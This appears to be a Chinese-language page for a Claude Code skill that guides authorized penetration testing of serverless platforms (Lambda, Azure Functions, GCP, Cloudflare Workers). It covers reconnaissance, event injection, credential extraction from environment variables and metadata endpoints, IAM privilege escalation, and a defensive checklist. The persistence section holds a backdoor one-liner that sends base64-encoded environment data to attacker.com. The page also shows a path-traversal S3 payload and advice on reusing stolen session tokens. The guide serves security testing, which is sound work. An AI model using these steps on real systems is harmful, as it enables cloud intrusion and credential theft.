关于 attacking-serverless
面向授权安全测试人员的无服务器架构评估指南,覆盖 AWS Lambda、Azure Functions、GCP Cloud Functions 和 Cloudflare Workers。它关注事件输入、函数身份凭据、触发器配置及编排工作流等攻击面。
主要功能
- 01发现函数、运行时和事件源
- 02测试事件输入及触发器配置
- 03检查环境变量与函数凭据
- 04评估执行角色的权限风险
- 05审查工作流编排及运行时持久化
适用场景
- 01评估函数执行角色和托管身份的权限
- 02测试由事件源触发的输入处理
- 03检查无授权保护的函数 URL 或 API
- 04审查 Step Functions 等编排流程
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-serverless安装后在 Claude Code 中输入/attacking-serverless确认已加载。
详细介绍
攻击无服务器架构
无服务器架构将攻击面从主机转移到了事件。这里没有 SSH,没有持久 shell,也没有传统意义上可供枚举的操作系统。执行环境是临时的,但附加到它的 IAM 角色并非如此,而且这个角色几乎总是真正的目标。Lambda 函数遭到入侵,不会让你获得一台服务器,而是会让你获得一组可自动刷新的 AWS 凭证,这些凭证没有 MFA,其权限范围则由一位优先考虑“先让它跑起来”而非最小权限原则的开发者设定。Azure Functions、GCP Cloud Functions 和边缘运行时也遵循同样的模式,只是在凭证存放位置和隔离边界划分方式上略有不同。
适用场景
- 目标运行 AWS Lambda、Azure Functions、GCP Cloud Functions 或 Cloudflare Workers
- API Gateway、Azure API Management 或 GCP API Gateway 位于无服务器计算的前端
- 事件驱动架构处理来自 S3、SQS、SNS、EventBridge、Pub/Sub 或 Storage 触发器的输入
- 你需要测试附加到函数的执行角色或托管标识
- Step Functions、Durable Functions 或 Cloud Workflows 编排无服务器组件
- 函数 URL 或 HTTP 触发器未设置授权器便对外公开
不适用场景
- 仅涉及 IAM,不涉及无服务器计算——使用
exploiting-cloud-platforms进行常规云 IAM 枚举和权限提升 - 将 API Gateway 用作 REST API,且后端是容器或 VM——使用
testing-apis进行 API 测试 - 审查函数代码源代码,但无法访问运行时——使用
auditing-code-for-vulnerabilities进行静态分析
侦察
攻击前先发现函数。从云控制平面或应用本身都可以枚举函数名称、运行时、处理程序、事件源和附加的角色。
# AWS — list functions and their configurations
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler]' --output table
aws lambda list-event-source-mappings --function-name TARGET_FUNCTION
aws apigateway get-rest-apis
aws apigatewayv2 get-apis
# Azure
az functionapp list --query '[].{name:name, runtime:siteConfig.linuxFxVersion, rg:resourceGroup}' -o table
az functionapp function list --name APP_NAME --resource-group RG
# GCP
gcloud functions list --format='table(name,runtime,entryPoint,trigger)'
gcloud functions describe FUNCTION_NAME
从外部查找:API Gateway 默认阶段(/prod、/dev、/stage)、函数 URL 模式(*.lambda-url.*.on.aws、*.azurewebsites.net/api/、*.cloudfunctions.net),以及会泄露运行时信息的错误响应(Runtime.HandlerNotFound、MODULE_NOT_FOUND)。
事件注入
在无服务器架构中,事件就是输入。每个事件源都是一个入口点,而且其中大多数都不是 HTTP——它们会绕过 WAF、API 网关以及只检查 HTTP 请求的所有中间件。
在以下情况下,事件对象由攻击者控制:
- S3 存储桶名称和对象键包含在事件中(键名中存在路径遍历)
- 处理 SQS/SNS 消息正文时未进行验证
- API Gateway 将查询字符串、标头和正文传入事件
- EventBridge 接受来自你控制的账户的自定义事件
- DynamoDB Streams 携带通过应用插入的记录
- Cloudflare Workers 接收完整的 Request 对象,包括标头和 URL
# S3 event — the key is attacker-controlled if uploads are open
{
"Records": [{
"s3": {
"bucket": {"name": "target-bucket"},
"object": {"key": "../../../tmp/payload"}
}
}]
}
# Inject through SQS — if you have SendMessage permission
aws sqs send-message --queue-url https://sqs.*.amazonaws.com/ACCOUNT/QUEUE \
--message-body '{"exploit": "payload"}'
# Invoke a function directly if you have lambda:InvokeFunction
aws lambda invoke --function-name TARGET --payload '{"key":"value"}' /dev/stdout
分别测试每个事件源。可能会对来自 API Gateway 的 HTTP 输入进行清理的函数,不一定会清理来自 SQS 的相同字段。
环境变量提取
无服务器运行时会将凭证和配置注入为环境变量。如果你在函数内部实现了代码执行,这些就是首要目标。
# Read the process environment — works in most runtimes
cat /proc/self/environ | tr '\0' '\n'
# Key variables on AWS Lambda
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN
echo $AWS_LAMBDA_FUNCTION_NAME
echo $AWS_REGION
# Lambda runtime API — metadata endpoint inside the execution environment
curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
# Azure Functions
echo $AzureWebJobsStorage # often a full connection string
echo $IDENTITY_ENDPOINT # managed identity token endpoint
curl -s "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
# GCP Cloud Functions — metadata server
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
开发者也会直接将机密存入环境变量,而不是使用 Secrets Manager 或 Key Vault。查找数据库连接字符串、API 密钥和第三方凭证。
IAM 角色滥用
函数的执行角色是关键切入点。它几乎总是权限过高,因为开发者会不断添加权限,直到函数能够正常工作,却从不移除这些权限。
# Identify who you are
aws sts get-caller-identity
# Enumerate what you can do — use the stolen credentials outside Lambda
# (session tokens from Lambda are valid for up to 12 hours)
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Enumerate policies attached to the role
aws iam list-attached-role-policies --role-name ROLE_NAME
aws iam get-role-policy --role-name ROLE_NAME --policy-name POLICY
# Common over-privileges to check for
aws s3 ls # s3:ListAllMyBuckets
aws secretsmanager list-secrets # secretsmanager:ListSecrets
aws dynamodb list-tables # dynamodb:ListTables
aws lambda list-functions # lambda:ListFunctions
aws iam list-roles # iam:ListRoles
从 Lambda 角色进行权限提升的路径:
iam:PassRole+lambda:CreateFunction+lambda:InvokeFunction— 使用权限更高的角色创建新函数并调用它lambda:UpdateFunctionCode— 将另一个函数的代码替换为你的载荷iam:AttachRolePolicy— 为当前角色附加 AdministratorAccesssts:AssumeRole— 转向信任该 Lambda 角色的跨账户角色ssm:GetParameter— 从 Parameter Store 读取机密secretsmanager:GetSecretValue— 从 Secrets Manager 读取机密
在 Azure 上,具有订阅 Contributor 权限的托管标识属于同类发现。在 GCP 上,检查函数服务账户是否具有 iam.serviceAccountTokenCreator 或 owner 角色。
冷启动与运行时持久性
执行环境会在多次调用之间持续存在数分钟到数小时。写入 /tmp 的任何内容都会在同一热容器的后续调用中保留。
# Check for artifacts from previous invocations
ls -la /tmp/
cat /tmp/*.log 2>/dev/null
# Write a persistent payload — it will execute on the next invocation
echo 'import os; os.system("curl attacker.com/exfil?data=$(env|base64)")' > /tmp/backdoor.py
Lambda Layers 会解压到 /opt,并由多个函数共享。遭到入侵的层会污染所有使用它的函数。检查:
aws lambda list-layers
aws lambda get-layer-version --layer-name NAME --version-number 1
# Download, inspect, and look for writable paths or injected dependencies
容器复用意味着:文件系统状态会在 /tmp 中保留,运行时中的全局变量会保留,数据库连接池会保留,你启动的任何后台线程也会继续运行。在 Cloudflare Workers(V8 isolates)上,全局作用域会在 isolate 内保留,但 /tmp 不存在。
多租户与隔离边界
在判断是否可能逃逸之前,先了解隔离模型。
- AWS Lambda 在 Firecracker microVM 中运行每个函数。跨函数逃逸需要利用 Firecracker 漏洞,这属于不同类别的工作。在单个函数内,容器复用才是相关的边界。
- Cloudflare Workers 使用 V8 isolates,而非容器。多个租户共享同一进程。逃逸 isolate 属于 V8 漏洞,影响很大但较少见。侧信道攻击(Spectre 类)更为现实;Cloudflare 会禁用
SharedArrayBuffer和高精度计时器以降低风险。 - Azure Functions 的 Consumption 计划会让不同租户共享底层 VM。在共享计划中,隔离级别是进程级,而非 VM 级。
- GCP Cloud Functions 使用 gVisor 进行沙箱隔离,以限制系统调用范围。
对于大多数安全测试任务,应重点关注 IAM 角色和应用逻辑,而不是运行时隔离。沙箱逃逸是研究目标,不是渗透测试发现。
触发器配置错误
最常见的无服务器漏洞不在代码中,而在函数的暴露方式上。
# Public API Gateway with no authorizer
aws apigateway get-resources --rest-api-id API_ID
aws apigateway get-method --rest-api-id API_ID --resource-id RES_ID --http-method GET
# Check: authorizationType should not be "NONE" on sensitive endpoints
# Lambda function URLs — public by default if auth-type is NONE
aws lambda list-function-url-configs --function-name FUNC
aws lambda get-function-url-config --function-name FUNC
# Check: AuthType should be AWS_IAM, not NONE
# Azure — function-level authorization keys
az functionapp function keys list --name APP --function-name FUNC --resource-group RG
# Check: authLevel should not be "anonymous" on sensitive functions
常见配置错误:
- API Gateway 部署时未配置授权器(Lambda authorizer、Cognito、IAM)
- Function URL 设置为
AuthType: NONE— 任何知道 URL 的人都可以访问 - API Gateway 缺少 CORS 限制,允许跨源修改
- API Gateway 阶段变量泄露内部端点或凭据
- S3 事件通知会在攻击者上传对象时触发函数,且未验证上传来源
- SNS 主题的订阅策略开放,允许外部订阅者订阅
Step Functions 与工作流操纵
编排服务(AWS Step Functions、Azure Durable Functions、GCP Workflows)会引入通常可以测试的状态机逻辑。
# List and describe state machines
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn ARN
# List executions and inspect input/output
aws stepfunctions list-executions --state-machine-arn ARN --status-filter RUNNING
aws stepfunctions describe-execution --execution-arn EXEC_ARN
aws stepfunctions get-execution-history --execution-arn EXEC_ARN
攻击模式:
- 输入操纵 — 使用精心构造的输入启动执行,以跳过验证步骤或进入非预期分支
- 步骤注入 — 如果状态机定义存储在你可以写入的位置(S3、DynamoDB),则修改它
- Activity 任务劫持 — 如果某个步骤使用 Activity(基于轮询),任何拥有
GetActivityTask权限的主体都可以窃取工作项 - 回调令牌窃取 — 通过 SQS 或 SNS 发送、用于回调模式的任务令牌可能被截获,从而使用任意输出完成步骤
- 并行状态滥用 — 共享可变状态(DynamoDB、S3)的并行分支中存在竞态条件
防御审查清单
审查无服务器部署时,请验证每一项:
- 每个函数都使用专用 IAM 角色,权限范围仅限实际所需
- 没有函数角色在策略中使用
*资源或*操作 - API Gateway 端点已配置授权器(而非
NONE) - 函数 URL 使用
AWS_IAM身份验证类型,或未启用 - 环境变量不包含机密——机密存储在 Secrets Manager、Key Vault 或 Secret Manager 中,并在运行时获取
- 在函数内部验证事件源输入,而不只是依赖 API Gateway 层
- Lambda Layers 固定到特定版本,并来自可信发布者
- 在每个步骤验证 Step Function 输入,而不只是在入口处验证
- 设置函数超时和内存限制,防止执行失控
- 已启用 CloudWatch/Cloud Logging,并针对函数错误和异常调用模式设置告警
- 连接到 VPC 的函数使用安全组和 NACL 限制出站流量
- API Gateway 上的 CORS 限定为特定来源,而非
*
应拒绝的托词
- “函数是临时的,所以不可能持久化。”
/tmp和全局状态会在预热调用之间保留。Layers 会跨部署保留。IAM 凭证可以从任何地方使用。 - “我们使用了 API Gateway,所以无法直接访问函数。” 请检查函数 URL、直接的
lambda:InvokeFunction权限,以及完全绕过网关的事件源。 - “函数只处理内部事件,不处理用户输入。” 沿事件链向上追踪。如果用户可以上传到 S3 或向 SNS 主题发布消息,那么“内部”事件中就包含攻击者控制的数据。
- “IAM 权限由基础设施即代码管理,所以都经过审查。” 阅读 Terraform 或 SAM 模板。通配符资源和
AmazonS3FullAccess之类的托管策略附加项经常通过代码审查。 - “Cloudflare Workers 由 V8 隔离,所以不存在逃逸。” 隔离边界很强,但真正的目标是 Worker 绑定的服务(KV、R2、D1、机密),而非隔离环境本身。
- “我们会自动轮换凭证。” Lambda 会话令牌的有效期长达数小时,并会透明刷新。如果攻击者已进入函数,轮换也无济于事。
- “函数无法访问网络——它不在 VPC 中。” 默认情况下,VPC 外的函数可以不受限制地访问互联网。它可以使用自身的角色凭证访问任何 AWS API 端点。
ATT&CK 覆盖范围
根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用 ID 之前,请根据
当前 ATT&CK 版本重新核实。
执行(TA0002)
- T1648 无服务器执行
以上任一内容的检测规则:engineering-detections。主动搜索:hunting-threats。入侵后响应:responding-to-incidents。
参考资料
exploiting-cloud-platforms— 云 IAM、控制平面和权限提升的通用方法testing-apis— API Gateway 和 HTTP 端点测试方法auditing-code-for-vulnerabilities— 函数处理程序代码的静态审查engineering-detections— 针对无服务器滥用模式的检测工程